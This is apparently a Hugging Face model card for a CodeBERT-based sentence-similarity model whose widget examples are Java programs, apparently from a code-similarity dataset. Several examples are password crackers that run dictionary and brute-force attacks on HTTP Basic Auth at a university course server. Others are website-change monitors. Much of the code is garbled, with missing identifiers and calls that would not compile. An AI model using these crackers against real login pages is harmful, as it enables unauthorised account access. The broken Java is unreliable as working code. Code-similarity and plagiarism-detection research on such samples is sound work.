buelfhood's picture
Add new SentenceTransformer model
f55a58c verified
---
tags:
- sentence-transformers
- sentence-similarity
- feature-extraction
- generated_from_trainer
- dataset_size:33411
- loss:BatchAllTripletLoss
base_model: microsoft/codebert-base
widget:
- source_sentence: "import java.io.*;\nimport java.net.*;\nimport java.*;\nimport\
\ java.Runtime.*;\nimport java.Object.*;\nimport java.util.*;\nimport java.util.StringTokenizer;\n\
\npublic class Dictionary \n{\n String uname = \"\";\n String pword = \"null\"\
;\n Vector v = new Vector();\n int runTime;\n public void doConnect(String\
\ connect, int num)\n {\n String = connect;\n \n try\n {\n \
\ URL secureSite = new URL();\n URLConnection connection = secureSite.openConnection();\n\
\ if (uname != null || pword != null)\n\t {\n\t \n\t for(int i=num;\
\ i<v.size(); i++)\n\t {\n\t pword = (String)v.elementAt(i);\n\t \
\ String up = uname + \":\" + pword;\n String encoding;\n \
\ try\n\t\t{\n\t\t connection.misc.BASE64Encoder encoder = (con.misc.BASE64Encoder)\
\ Class.forName(\".misc.BASE64Encoder\").newInstance();\n\t\t encoding = encoder.encode\
\ (up.getBytes());\n\t\t \n }\n\t catch (Exception ex) \n \
\ {\n\t\t Base64Converter encoder = new Base64Converter();\n\t\t System.out.println(\"\
in catch\");\n encoding = encoder.encode(up.getBytes());\n \
\ }\n\t connection.setRequestProperty (\"Authorization\", \" \" + encoding);\n\
\ connection.connect();\n if(connection instanceof HttpURLConnection)\n\
\t {\n\t HttpURLConnection httpCon=(HttpURLConnection)connection;\n\
\ if(httpCon.getResponseCode()==HttpURLConnection.HTTP_UNAUTHORIZED)\n\
\t\t {\n\t\t System.out.println(\"Not authorized - check for details\" + \"\
\ -Incorrect Password : \" + pword);\n\t doConnect(i, i+1);\n\t \
\ }\n\t\telse\n\t\t { \n\t\t System.out.println(\"\\n\\n\\nPassword for HTTP\
\ Secure Site by Dictionary Attack:\");\n\t System.out.println( +\"\\tPassword\
\ : \"+ pword);\n\n runTime = System.currentTimeMillis() - runTime;\
\ \n System.out.println(\"Time taken crack password (in seconds)\"\
+\" : \"+ runTime/1000+\"\\n\"+ \"Tries taken crack password : \"+ i);\n\t \
\ System.exit(0);\n\t }\n\t }\n\t }\n }\n }\n catch(Exception\
\ ex)\n {\n ex.printStackTrace();\n }\n }\n public Vector getPassword()\n\
\ {\n try\n {\n ReadFile rf = new ReadFile();\n rf.loadFile();\n\
\ v = rf.getVector();\n }\n catch(Exception ex)\n {\n ex.printStackTrace();\n\
\ }\n return v;\n } \n public void setTimeTaken( int timetaken)\n {\n\
\ runTime = timetaken;\n } \n public static void main ( String args[] )\
\ throws IOException \n {\n \n runTime1 = System.currentTimeMillis();\
\ \n Dictionary newDo = new Dictionary();\n newDo.setTimeTaken(runTime1);\n\
\ newDo. getPassword();\n String site = \"http://sec-crack.cs.rmit.edu./SEC/2/\"\
;\n newDo.doConnect(site, 0);\n \n } \n \n}\n\nclass Base64Converter\n\
\ {\n \n public final char [ ] alphabet = {\n 'A',\
\ 'B', 'C', 'D', 'E', 'F', 'G', 'H', \n 'I', 'J', 'K', 'L', 'M',\
\ 'N', 'O', 'P', \n 'Q', 'R', 'S', 'T', 'U', 'V', 'W', 'X', \n\
\ 'Y', 'Z', 'a', 'b', 'c', 'd', 'e', 'f', \n 'g',\
\ 'h', 'i', 'j', 'k', 'l', 'm', 'n', \n 'o', 'p', 'q', 'r', 's',\
\ 't', 'u', 'v', \n 'w', 'x', 'y', 'z', '0', '1', '2', '3', \n\
\ '4', '5', '6', '7', '8', '9', '+', '/' }; \n \n \n public\
\ String encode ( String s )\n {\n return encode ( s.getBytes\
\ ( ) );\n }\n \n public String encode ( byte [ ] octetString\
\ )\n {\n int bits24;\n int bits6;\n \n\
\ char [ ] out\n = new char [ ( ( octetString.length\
\ - 1 ) / 3 + 1 ) * 4 ];\n \n int outIndex = 0;\n int\
\ i = 0;\n \n while ( ( i + 3 ) <= octetString.length ) {\n\
\ \n bits24=( octetString [ i++ ] & 0xFF ) <<\
\ 16;\n bits24 |=( octetString [ i++ ] & 0xFF ) << 8;\n \n \
\ bits6=( bits24 & 0x00FC0000 )>> 18;\n out [\
\ outIndex++ ] = alphabet [ bits6 ];\n bits6 = ( bits24 & 0x0003F000\
\ ) >> 12;\n out [ outIndex++ ] = alphabet [ bits6 ];\n \
\ bits6 = ( bits24 & 0x00000FC0 ) >> 6;\n out [ outIndex++\
\ ] = alphabet [ bits6 ];\n bits6 = ( bits24 & 0x0000003F );\n\
\ out [ outIndex++ ] = alphabet [ bits6 ];\n }\n\
\ \n if ( octetString.length - i == 2 )\n {\n \
\ \n bits24 = ( octetString [ i ] & 0xFF ) <<\
\ 16;\n bits24 |=( octetString [ i + 1 ] & 0xFF ) << 8;\n \
\ bits6=( bits24 & 0x00FC0000 )>> 18;\n out [ outIndex++\
\ ] = alphabet [ bits6 ];\n bits6 = ( bits24 & 0x0003F000 ) >>\
\ 12;\n out [ outIndex++ ] = alphabet [ bits6 ];\n \
\ bits6 = ( bits24 & 0x00000FC0 ) >> 6;\n out [ outIndex++\
\ ] = alphabet [ bits6 ];\n \n \n out [ outIndex++\
\ ] = '=';\n }\n else if ( octetString.length - i ==\
\ 1 )\n {\n \n bits24 = ( octetString\
\ [ i ] & 0xFF ) << 16;\n bits6=( bits24 & 0x00FC0000 )>> 18;\n\
\ out [ outIndex++ ] = alphabet [ bits6 ];\n \
\ bits6 = ( bits24 & 0x0003F000 ) >> 12;\n out [ outIndex++\
\ ] = alphabet [ bits6 ];\n \n \n out [ outIndex++\
\ ] = '=';\n out [ outIndex++ ] = '=';\n }\n \n\
\ return new String ( out );\n }\n }\n \n \n"
sentences:
- "\n\n\nimport java.io.*;\nimport java.util.*;\nimport java.*;\nimport java.net.*;\n\
\npublic class WatchDog\n{\n\n static Process p = null;\n static Process qproc\
\ = null;\n\n static BufferedReader bf = null;\n static StringTokenizer tok\
\ = null;\n\n static String Path = null;\n static String str = null;\n static\
\ String urlStr=null;\n static boolean changed = false;\n\n static File indexfile\
\ = new File(\"index.html\");\n static File tmpfile = new File(\"tmpindex.html\"\
);\n static File mdfile = new File(\"md5file.txt\");\n static File tmpmdfile\
\ = new File(\"tmpmd5file.txt\");\n static PrintWriter mailwriter = null;\n\n\
\n public static void main (String[] args) \n {\n\n urlStr = \"http://www.cs.rmit.edu./\"\
;\n\n try\n {\n \n mailwriter = new PrintWriter(new\
\ BufferedWriter(new FileWriter(\"tomail.txt\", false)));\n\n getLatest(urlStr);\n\
\ parseFile(); \n\n mailwriter.read();\n\n if(changed)\n\
\ {\n System.out.println(\"Sending Mail\");\n p\
\ = Runtime.getRuntime().exec(\"./mailscript\");\n p.waitFor();\n\n\
\ }\n else\n System.out.println(\" mail sent\");\n\n\
\ } catch (IOException ioe)\n {\n System.out.println(\"\
IOException\");\n ioe.printStackTrace();\n }\n catch\
\ (InterruptedException intex)\n {\n System.out.println(\"\
Interrupted Exception\");\n intex.printStackTrace();\n }\n\n\
\n }\n\n\n static void getLatest(String urlStr)\n { \n \n URL\
\ url = null;\n \n try\n {\n url = new URL(urlStr);\n\n\
\ } catch (MalformedURLException mfurl)\n {\n System.out.println(\"\
Malformed URL\");\n mfurl.printStackTrace();\n }\n\n try\n\
\ {\n mailwriter.println();\n\n p = Runtime.getRuntime().exec(\"\
/usr//pwd\"); \n p.waitFor();\n bf= new BufferedReader(new InputStreamReader(\n\
\ p.getInputStream()));\n\n Path=bf.readLine();\n\
\n if (indexfile.exists())\n {\n mailwriter.println(\"\
File with name 'index.html' found in directory.\");\n mailwriter.println(\"\
Renaming existing 'index.html' 'tmpindex.html...\");\n p = Runtime.getRuntime().exec(\"\
/usr//mv \"+indexfile+ \" \" + Path+\"/\"+tmpfile);\n p.waitFor();\n\
\ p = Runtime.getRuntime().exec(\"/usr//mv \"+mdfile+ \" \" + Path+\"\
/\"+tmpmdfile);\n mailwriter.println();\n mailwriter.println(\"\
File with name 'md5file.txt' found in directory.\");\n mailwriter.print(\"\
Renaming existing 'md5file.txt' 'tmpmd5file.txt...\");\n\n mailwriter.println(\"\
.\");\n\n mailwriter.println();\n }\n\n mailwriter.println(\"\
Downloading current version of site - \" + urlStr);\n p = Runtime.getRuntime().exec(\"\
/usr/local//wget \"+url);\n p.waitFor();\n if (!tmpfile.exists())\n\
\ {\n mailwriter.println(\"File - \" + urlStr + \"index.html\
\ saved disk for the first time.\");\n }\n\n\n } catch (IOException\
\ ioe)\n {\n System.out.println(\"IOException\");\n \
\ ioe.printStackTrace();\n }\n catch (IndexOutOfBoundsException\
\ iobe)\n {\n System.out.println(\"Index Out Of Bounds Exception\"\
);\n iobe.printStackTrace();\n }\n catch (Exception e)\n\
\ {\n System.out.println(\"Exception\");\n e.printStackTrace();\n\
\ }\n }\n\n static void parseFile()\n {\n\n Vector imgVect =\
\ new Vector();\n\n try\n {\n p = Runtime.getRuntime().exec(\"\
/usr//grep img \" + Path + \"/\"+ indexfile);\n p.waitFor();\n \
\ bf = new BufferedReader(new InputStreamReader(\n p.getInputStream()));\n\
\n while((str=bf.readLine())!=null)\n {\n bf = new\
\ StringTokenizer(str, \"\\\"\", false);\n \n while(bf.hasMoreTokens())\n\
\ {\n str=bf.nextToken();\n if ((str.indexOf(\"\
gif\") > 0) || (str.indexOf(\"jpg\") > 0))\n imgVect.addElement(str);\n\
\ }\n \n }\n\n }catch (IOException ioe)\n \
\ {\n System.out.println(\"IOException\");\n ioe.printStackTrace();\n\
\ }\n catch (Exception e)\n {\n System.out.println(\"\
Exception\");\n e.printStackTrace();\n }\n\n mailwriter.println(\"\
Creating file with md5sums of the webpage and images...\");\n md5Create(imgVect);\n\
\n }\n\n static void md5Create(Vector imgVect)\n {\n String tmpString\
\ = null;\n Vector imgNames = new Vector();\n\n try\n {\n \
\ PrintWriter pr = new PrintWriter(new BufferedWriter(new FileWriter(mdfile,\
\ false)));\n \n p=Runtime.getRuntime().exec(\"/usr/local//md5sum \"+indexfile);\n\
\ p.waitFor();\n bf= new BufferedReader(new InputStreamReader(\n\
\ p.getInputStream()));\n pr.println(bf.readLine());\n\
\ \n for(int i=0; i<imgVect.size();i++)\n {\n imgNames.insertElementAt((getImgNames((String)imgVect.elementAt(i))),\
\ i);\n imgVect.setElementAt((getFullPath((String)imgVect.elementAt(i))),\
\ i);\n\n p=Runtime.getRuntime().exec(\"/usr/local//md5sum \"+(String)imgNames.elementAt(i));\n\
\ p.waitFor();\n bf= new BufferedReader(new InputStreamReader(\n\
\ p.getInputStream()));\n pr.println(bf.readLine());\n\
\ rmImgFile(Path+\"/\"+(String)imgNames.elementAt(i));\n }\n\
\ pr.get();\n\n } catch (IOException ioe)\n {\n \
\ System.out.println(\"IOException\");\n ioe.printStackTrace();\n\
\ }\n catch (InterruptedException intex)\n {\n \
\ System.out.println(\"Interrupted Exception\");\n intex.printStackTrace();\n\
\ }\n\n if (tmpmdfile.exists())\n compVersions((imgVect.size())+1);\n\
\n }\n\n static void compVersions(int numlines)\n {\n\n int tmp = 0;\n\
\ int x = 0;\n String[] md5A = new String[numlines];\n Vector tmpmd5V\
\ = new Vector(); \n \n \
\ \n String[] tmpmd5A = null;\n StringTokenizer stoken\
\ = null;\n String mdImgName = null;\n String mdImgVal = null;\n \
\ String tmpImgName = null;\n String tmpImgVal = null;\n\n try\n\
\ {\n\n bf = new BufferedReader(new FileReader(mdfile));\n\n \
\ while((str = bf.readLine()) != null)\n {\n md5A[tmp]=str;\n\
\ tmp++;\n }\n\n bf = new BufferedReader(new FileReader(tmpmdfile));\n\
\ tmp=0;\n\n while ((str = bf.readLine()) !=null)\n {\n\
\ tmpmd5V.addElement(str);\n tmp++;\n }\n\n \
\ tmpmd5A = (String[])tmpmd5V.toArray(new String[tmpmd5V.size()]); \n\n\
\ if (tmpmd5A[0].compareTo(md5A[0]) != 0)\n {\n mailwriter.println(\"\
---The file index.html has changed.---\");\n mailwriter.println(\"\
-Diff of old and new -\");\n changed=true;\n mailwriter.println();\n\
\ p=Runtime.getRuntime().exec(\"/usr/local//diff index.html tmpindex.html\"\
);\n p.waitFor();\n bf= new BufferedReader(new InputStreamReader(p.getInputStream()));\n\
\n while ((str = bf.readLine()) != null)\n mailwriter.println(str);\n\
\n }\n else\n {\n mailwriter.println(\"The\
\ file index.html hasn't changed.\");\n mailwriter.println();\n \
\ }\n\n mailwriter.println();\n mailwriter.println(\"Changes\
\ Images\");\n mailwriter.println(\"-----------------\");\n\n\n \
\ \n\n for (tmp=1; tmp<md5A.length; tmp++) \n {\n \
\ stoken = new StringTokenizer(md5A[tmp]);\n mdImgVal = stoken.nextToken();\n\
\ mdImgName = stoken.nextToken();\n for (x=1; x<tmpmd5A.length;\
\ x++)\n {\n stoken = new StringTokenizer(tmpmd5A[x]);\n\
\ tmpImgVal = stoken.nextToken();\n tmpImgName = stoken.nextToken();\n\
\n if (mdImgName.compareTo(tmpImgName) == 0)\n {\n\
\ if(mdImgVal.compareTo(tmpImgVal) == 0)\n {\n\
\ \n break;\n }\n \
\ else\n {\n mailwriter.println(\"\
The image \"+mdImgName+\" has changed.\");\n changed=true;\n\
\ break;\n }\n }\n \
\ if (x == ((tmpmd5A.length)-1))\n {\n mailwriter.println(\"\
The image \"+mdImgName+\" is new this \");\n changed=true;\n\
\ }\n }\n }\n\n for (tmp=1; tmp<tmpmd5A.length;\
\ tmp++) \n {\n stoken = new StringTokenizer(tmpmd5A[tmp]);\n\
\ tmpImgVal = stoken.nextToken();\n tmpImgName = stoken.nextToken();\n\
\ for (x=1; x<md5A.length; x++)\n {\n stoken\
\ = new StringTokenizer(md5A[x]);\n mdImgVal = stoken.nextToken();\n\
\ mdImgName = stoken.nextToken();\n if (tmpImgName.compareTo(mdImgName)\
\ == 0)\n {\n break;\n }\n \
\ if (x == ((md5A.length)-1))\n {\n mailwriter.println(\"\
The image \"+tmpImgName+\" is longer the \");\n changed=true;\n\
\ }\n }\n }\n\n\n } catch(IOException ioe)\n\
\ {System.out.println(\"IOException\");\n ioe.printStackTrace();\n\
\ }\n catch(InterruptedException iex)\n {System.out.println(\"\
Interrupted Exception\");\n iex.printStackTrace();\n }\n\n }\n\
\n\n static Object getFullPath(String fname)\n {\n \n\n if(fname.charAt(0)==\
\ '/') \n fname=urlStr+fname; \n else if(fname.charAt(0) != 'h')\n\
\ fname=urlStr+'/'+fname;\n\n getImgFile(fname);\n\n return\
\ (Object)fname; \n }\n\n static void getImgFile(String fullPath)\n {\n\
\ \n\n try\n {\n qproc=Runtime.getRuntime().exec(\"/usr/local//wget\
\ \"+fullPath);\n qproc.waitFor();\n\n } catch (IOException ioe)\n\
\ {\n System.out.println(\"IOException\");\n ioe.printStackTrace();\n\
\ }\n catch (InterruptedException intex)\n {\n \
\ System.out.println(\"Interrupted Exception\");\n intex.printStackTrace();\n\
\ }\n }\n\n static void rmImgFile(String delpath)\n {\n \n\n\
\ try\n {\n qproc=Runtime.getRuntime().exec(\"/usr//rm \"+ delpath);\n\
\ qproc.waitFor();\n\n } catch (IOException ioe)\n {\n \
\ System.out.println(\"IOException\");\n ioe.printStackTrace();\n\
\ }\n catch (InterruptedException intex)\n {\n \
\ System.out.println(\"Interrupted Exception\");\n intex.printStackTrace();\n\
\ }\n \n }\n\n static Object getImgNames(String prsName)\n {\n\
\ \n \n String str = new StringTokenizer(prsName, \"/\", false);\n\
\n while(str.hasMoreTokens())\n {\n str=bgf.nextToken();\n \
\ if ((str.indexOf(\"gif\") > 0) || (str.indexOf(\"jpg\") > 0))\n \
\ prsName=str;\n }\n return (Object)prsName;\n }\n}\n"
- "import java.io.*;\nimport java.text.*;\nimport java.util.*;\nimport java.net.*;\n\
\npublic class WatchDog\n{\n private String address;\n private UnixMailing\
\ email;\n\n private int step = 0;\n private String buffer = \"\";\n\n public\
\ static void main(String [] args)\n {\n if (args.length < 2)\n {\n\
\ System.err.println(\"Invalid usage!\");\n System.err.println(\"\
Usage: java WatchDog <url> <email>\");\n System.exit(1);\n }\n\n\
\ String address = args[0];\n String email = args[1];\n WatchDog\
\ theProg = new WatchDog(address, email);\n\n try\n {\n File\
\ currDir = new File(\".\");\n File [] list = currDir.listFiles();\n \
\ for (int i = 0; i < list.length; i++)\n {\n if (list[i].getName().trim().startsWith(\"\
_buffer\"))\n list[i].delete();\n }\n }\n catch(Exception\
\ e) {}\n\n while (true)\n {\n theProg.checkPage();\n \
\ try\n {\n Thread.sleep();\n }\n catch(InterruptedException\
\ e ) {}\n }\n\n }\n\n public WatchDog(String address, String email)\n\
\ {\n this.address = address;\n this.email = new UnixMailing(email);\n\
\ }\n\n public void checkPage()\n {\n try\n {\n File buffFp\
\ = new File(\"_bufferFile.html\");\n Vector imgs = new Vector();\n\n\
\ boolean getAgain = false;\n if (buffFp.exists())\n {\n\
\ URLConnection conn = (new URL(address)).openConnection();\n \
\ conn.setDoInput(true);\n conn.connect();\n DataInputStream\
\ inNet = new DataInputStream(conn.getInputStream());\n\n System.out.println(\"\
Checking file \"+address);\n char i = '\\0';\n char f =\
\ '\\0';\n DataInputStream inFile = new DataInputStream(\n \
\ new FileInputStream(buffFp));\n \
\ try\n {\n int step = 0;\n while(true)\n\
\ {\n i = (char)inNet.readByte();\n \
\ f = (char)inFile.readByte();\n\n if (i != f)\n \
\ {\n email.println(\" changes in the content\
\ of the web: \"+address);\n System.out.println(\" changes\
\ in the content of the web: \"+address);\n getAgain = true;\n\
\ break;\n }\n tokenImages(i,\
\ imgs);\n }\n }\n catch(EOFException eofe)\
\ {}\n\n if (!getAgain)\n {\n try\n \
\ {\n i = (char)inNet.readByte();\n \
\ email.println(\" changes in the content of the web: \"+address);\n \
\ System.out.println(\" changes in the content of the web: \"+address);\n\
\ getAgain = true;\n }\n catch(EOFException\
\ eofe) {}\n try\n {\n f = (char)inFile.readByte();\n\
\ email.println(\" changes in the content of the web: \"+address);\n\
\ System.out.println(\" changes in the content of the web: \"\
+address);\n getAgain = true;\n }\n \
\ catch(EOFException eofe) {}\n }\n\n inFile.print();\n\
\ inNet.print();\n }\n else\n getAgain =\
\ true;\n\n\n if (getAgain)\n {\n getAgain = false;\n\
\ URLConnection conn = (new URL(address)).openConnection();\n \
\ conn.setDoInput(true);\n conn.connect();\n DataInputStream\
\ inNet = new DataInputStream(conn.getInputStream());\n\n System.out.println(\"\
Storing file \"+address);\n DataOutputStream outFile = new DataOutputStream(\n\
\ new FileOutputStream(buffFp));\n\
\ byte i = 0;\n try\n {\n while(true)\n\
\ {\n i = inNet.readByte();\n \
\ outFile.writeByte(i);\n tokenImages((char)i, imgs);\n \
\ }\n }\n catch(EOFException eofe) {}\n\n \
\ outFile.print();\n inNet.print();\n }\n for(int\
\ index = 0; index < imgs.size(); index++)\n checkImage(address, (String)imgs.get(index));\n\
\ email.sent();\n }\n catch(Exception e)\n {\n \
\ e.printStackTrace();\n }\n }\n\n\n public void tokenImages(char i,\
\ Vector imgs)\n {\n if (step == 1) \n {\n if (i == 'i' &&\
\ buffer.length() <= 0 ||\n i == 'm' && buffer.equals(\"i\") ||\n\
\ i == 'g' && buffer.equals(\"im\"))\n {\n buffer\
\ += i;\n buffer = buffer.toLowerCase();\n }\n else\n\
\ {\n if (Character.isWhitespace(i) && buffer.equals(\"img\"\
))\n step = 2;\n else if (!Character.isWhitespace(i)\
\ || buffer.length() > 0)\n step = 0;\n buffer = \"\"\
;\n }\n }\n else if (step == 2) \n {\n if (i ==\
\ 's' && buffer.length() <= 0 ||\n i == 'r' && buffer.equals(\"s\"\
) ||\n i == 'c' && buffer.equals(\"sr\"))\n {\n \
\ buffer += i;\n buffer = buffer.toLowerCase();\n }\n \
\ else\n {\n if (Character.isWhitespace(i) && buffer.equals(\"\
src\"))\n step = 3;\n else if (i == '=' && buffer.equals(\"\
src\"))\n step = 4;\n else if (i == '>')\n \
\ step = 0;\n buffer = \"\";\n }\n }\n else if\
\ (step == 3) \n {\n if (i == '=')\n {\n step\
\ = 4;\n }\n else if (!Character.isWhitespace(i))\n {\n\
\ if(i == '>')\n step = 0;\n else\n \
\ step = 2;\n buffer = \"\";\n }\n }\n else\
\ if (step == 4) \n {\n if (i == '\\\"')\n {\n \
\ step = 5;\n buffer = \"\";\n }\n else if (!Character.isWhitespace(i))\n\
\ {\n if(i == '>')\n {\n buffer =\
\ \"\";\n step = 0;\n }\n else\n \
\ {\n buffer = \"\"+i;\n step = 6;\n \
\ }\n\n }\n\n }\n else if (step == 5) \n {\n if\
\ (i == '\\\"')\n {\n if (buffer.trim().length() > 0)\n \
\ imgs.add(buffer);\n buffer = \"\";\n step =\
\ 0;\n }\n else\n buffer += i;\n }\n else\
\ if (step == 6) \n {\n if (Character.isWhitespace(i) || i == '>')\n\
\ {\n if (buffer.trim().length() > 0)\n imgs.add(buffer);\n\
\ buffer = \"\";\n step = 0;\n }\n else\n\
\ buffer += i;\n }\n else if(i == '<')\n {\n \
\ step = 1;\n buffer = \"\";\n }\n }\n\n public void checkImage(String\
\ hostUrl, String imageUrl)\n {\n try\n {\n String fullURL\
\ = \"\";\n if (imageUrl.startsWith(\"http\"))\n {\n \
\ fullURL = imageUrl;\n }\n else if (imageUrl.startsWith(\"\
/\"))\n {\n fullURL = \"http://\"+(new URL(hostUrl)).getHost()+imageUrl;\n\
\ }\n else\n {\n String path = (new URL(hostUrl)).getPath();\n\
\ if (!path.endsWith(\"/\"))\n path = path.substring(0,\
\ path.lastIndexOf('/')+1);\n\n fullURL = \"http://\"+(new URL(hostUrl)).getHost()+path+imageUrl;\n\
\ }\n\n File buffFp = new File(\"_buffer\"+\n \
\ (new URL(fullURL)).getPath().replaceAll(\"/\", \"_\"));\n Vector\
\ imgs = new Vector();\n\n boolean getAgain = false;\n if (buffFp.exists())\n\
\ {\n URLConnection conn = (new URL(fullURL)).openConnection();\n\
\ conn.setDoInput(true);\n conn.connect();\n \
\ DataInputStream inNet = new DataInputStream(conn.getInputStream());\n\n \
\ System.out.println(\"Checking image: \"+fullURL);\n byte i\
\ = 0;\n byte f = 0;\n DataInputStream inFile = new DataInputStream(\n\
\ new FileInputStream(buffFp));\n\
\ try\n {\n int step = 0;\n \
\ while(true)\n {\n i = inNet.readByte();\n \
\ f = inFile.readByte();\n\n if (i != f)\n \
\ {\n email.println(\"Image \"+fullURL+\" has\
\ been change!\");\n System.out.println(\"Image \"+fullURL+\"\
\ has been change!\");\n getAgain = true;\n \
\ break;\n }\n }\n }\n \
\ catch(EOFException eofe) {}\n\n if (!getAgain)\n {\n\
\ try\n {\n i = inNet.readByte();\n\
\ email.println(\"Image \"+fullURL+\" has been change!\");\n\
\ System.out.println(\"Image \"+fullURL+\" has been change!\"\
);\n getAgain = true;\n }\n catch(EOFException\
\ eofe) {}\n try\n {\n f = inFile.readByte();\n\
\ email.println(\"Image \"+fullURL+\" has been change!\");\n\
\ System.out.println(\"Image \"+fullURL+\" has been change!\"\
);\n getAgain = true;\n }\n catch(EOFException\
\ eofe) {}\n }\n\n inFile.print();\n inNet.print();\n\
\ }\n else\n getAgain = true;\n\n if (getAgain)\n\
\ {\n getAgain = false;\n URLConnection conn = (new\
\ URL(fullURL)).openConnection();\n conn.setDoInput(true);\n \
\ conn.connect();\n DataInputStream inNet = new DataInputStream(conn.getInputStream());\n\
\n System.out.println(\"Storing the image: \"+fullURL);\n \
\ DataOutputStream outFile = new DataOutputStream(\n \
\ new FileOutputStream(buffFp));\n byte i = 0;\n\
\ try\n {\n while(true)\n {\n\
\ i = inNet.readByte();\n outFile.writeByte(i);\n\
\ }\n }\n catch(EOFException eofe) {}\n\n\
\ outFile.print();\n inNet.print();\n }\n }\n\
\ catch(Exception e)\n {\n e.printStackTrace();\n }\n \
\ }\n}\n\n"
- "import java.net.*;\nimport java.util.*;\n\npublic class BruteForce {\n\n public\
\ static void main(String[] args) {\n new CrackAttempt();\n }\n}\n\nclass\
\ CrackAttempt {\n public CrackAttempt() {\n final int MAX_LENGTH = 3;\n\
\ boolean auth = false;\n Date = new Date();\n boolean morePasswords\
\ = true;\n int passPtr = 0;\n StringBuffer validChars = new StringBuffer(\"\
abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ\");\n char[] password\
\ = new char[MAX_LENGTH];\n\n password[0] = validChars.charAt(0);\n \
\ while (!auth && morePasswords) {\n String resource = \"http://sec-crack.cs.rmit.edu./SEC/2/\"\
;\n try {\n \n Authenticator.setDefault(new CrackAuth(password));\n\
\ URL url = new URL(resource);\n HttpURLConnection conn\
\ = (HttpURLConnection)url.openConnection();\n conn.setRequestMethod(\"\
HEAD\");\n if (conn.getResponseCode() == HttpURLConnection.HTTP_OK)\
\ {\n System.out.println(\"cracked with \" + new String(password));\n\
\ auth = true;\n }\n } catch (Exception e) {\n\
\ System.out.println(\" was exception: \" + e.getMessage());\n \
\ }\n int count = passPtr;\n while (true) {\n \
\ if (password[count] == validChars.charAt(validChars.length() - 1)) {\n \
\ password[count] = validChars.charAt(0);\n count--;\n\
\ } else {\n password[count] = validChars.charAt(validChars.indexOf(String.valueOf(password[count]))\
\ + 1);\n break;\n }\n if (count < 0) {\n\
\ \n if (passPtr < MAX_LENGTH - 1) {\n \
\ passPtr++;\n password[passPtr] = validChars.charAt(0);\n\
\ } else {\n morePasswords = false;\n \
\ }\n break;\n }\n }\n \n }\
\ \n if (!auth) {\n System.out.println(\"Unable determine password\"\
);\n } else {\n time = (new Date()).getTime() - start.getTime();\n\
\ System.out.println(\"it took \" + String.valueOf(time) + \" milliseconds\
\ crack the password\");\n }\n }\n}\n\nclass CrackAuth extends Authenticator\
\ {\n char[] password;\n public CrackAuth(char[] password) {\n this.password\
\ = password;\n }\n\n protected PasswordAuthentication getPasswordAuthentication()\n\
\ {\n String user = \"\";\n return new PasswordAuthentication(user,\
\ password);\n }\n}\n"
- source_sentence: "import java.io.*;\nimport java.net.*;\n\n\n\n\n\n\n\n\n\n\n\n\
public class Dictionary\n{\n private String urlString = \"http://sec-crack.cs.rmit.edu./SEC/2/index.php\"\
;\n private static String password;\n private static int length; \
\ \n private static int t_counter; \n private static int f_counter;\
\ \n \n private static int respCode;\
\ \n private static BufferedReader buf; \n\n public Dictionary()\n\
\ {\n FileReader fRead;\n Authenticator.setDefault(new DictionaryAuthenticator());\n\
\ t_counter = 0;\n f_counter = 0;\n length = 0;\n\n try\n\
\ {\n fRead = new FileReader(\"/usr/share/lib/dict/words\");\n \
\ buf = new BufferedReader(fRead);\n }\n catch (FileNotFoundException\
\ e)\n {\n System.out.println(\"File not found\");\n }\n }\n\
\n public static void main(String[] args)\n {\n Dictionary dict = new\
\ Dictionary();\n String file = \" \";\n while(respCode != 200 )\n \
\ {\n file = dict.fetchURL();\n }\n System.out.println(\"\
Number of attempts: \" + t_counter);\n System.out.println(\"Password: \"\
\ + password);\n System.out.println(file);\n }\n\n private String fetchURL()\n\
\ {\n StringWriter sw = new StringWriter();\n PrintWriter pw = new\
\ PrintWriter();\n\n try\n {\n URL url = new URL(urlString);\n\
\ HttpURLConnection huc = (HttpURLConnection)url.openConnection();\n \
\ respCode = huc.getResponseCode();\n InputStream content = huc.getInputStream();\n\
\ BufferedReader in = \n new BufferedReader (new InputStreamReader\
\ (content));\n String line;\n while ((line = in.readLine()) !=\
\ null) \n {\n pw.println(line);\n }\n } catch\
\ (IOException e) {\n pw.println(\"Error URL\");\n }\n return\
\ sw.toString();\n }\n \n class DictionaryAuthenticator extends\
\ Authenticator \n {\n private String username = \"\";\n\n protected\
\ PasswordAuthentication getPasswordAuthentication()\n {\n return\
\ new PasswordAuthentication(username,generatePassword());\n }\n\n protected\
\ char[] generatePassword()\n {\n String word = null;\n int\
\ chars;\n char c[] = null;\n \n chars = 0;\n \n \
\ if(f_counter == 0) \n \n \n { \n try\n \
\ {\n \n {\n word = buf.readLine();\n\
\ if(word != null)\n {\n \
\ length = word.length();\n chars = 0;\n \
\ for(int i=0; i<length; i++)\n {\n \
\ if(Character.isLetter(word.charAt(i))) chars++;\n }\n\
\ }\n }\n while( word != null &&\
\ (length > 3 || chars != length));\n\n }\n catch (IOException\
\ ioe)\n {\n System.out.println(\"IO Error: \" + ioe);\n\
\ }\n\n if(word != null)\n {\n \
\ c = word.toCharArray(); \n password = new String(c);\n \
\ } \n else\n {\n System.out.println(\"\
\ more words in dictionary\");\n System.exit(0);\n }\n\
\n f_counter++;\n } \n else\n \n {\n\
\ c = password.toCharArray(); \n for(int i=0; i< length;\
\ i++)\n {\n if(Character.isLowerCase(c[i]))\n \
\ {\n c[i] = Character.toUpperCase(c[i]);\n \
\ }\n else\n {\n c[i] = Character.toLowerCase(c[i]);\n\
\ }\n }\n password = new String(c);\n \
\ f_counter = 0;\n }\n\n t_counter++;\n\n return\
\ c;\n }\n }\n}\n"
sentences:
- "\n\n\n\n\nimport java.io.InputStream;\nimport java.util.Properties;\n\nimport\
\ javax.naming.Context;\nimport javax.naming.InitialContext;\nimport javax.rmi.PortableRemoteObject;\n\
import javax.sql.DataSource;\n\n\n\npublic class DictionaryPropertyHelper {\n\n\
\tprivate static Properties dictProps;\n\n\n\n\tpublic DictionaryPropertyHelper()\
\ {\n\t}\n\n\n\t\n\tpublic static String getProperty(String pKey){\n\t\ttry{\n\
\t\t\tinitProps();\n\t\t}\n\t\tcatch(Exception e){\n\t\t\tSystem.err.println(\"\
Error init'ing the dictionary Props\");\n\t\t\te.printStackTrace();\n\t\t}\n\t\
\treturn dictProps.getProperty(pKey);\n\t}\n\n\n\tprivate static void initProps()\
\ throws Exception{\n\t\tif(dictProps == null){\n\t\t\tdictProps = new Properties();\n\
\n\t\t\tInputStream fis =\n\t\t\t\tDictionaryPropertyHelper.class.getResourceAsStream(\"\
/dictionary.properties\");\n\t\t\tdictProps.load(fis);\n\t\t}\n\t}\n}\n\n"
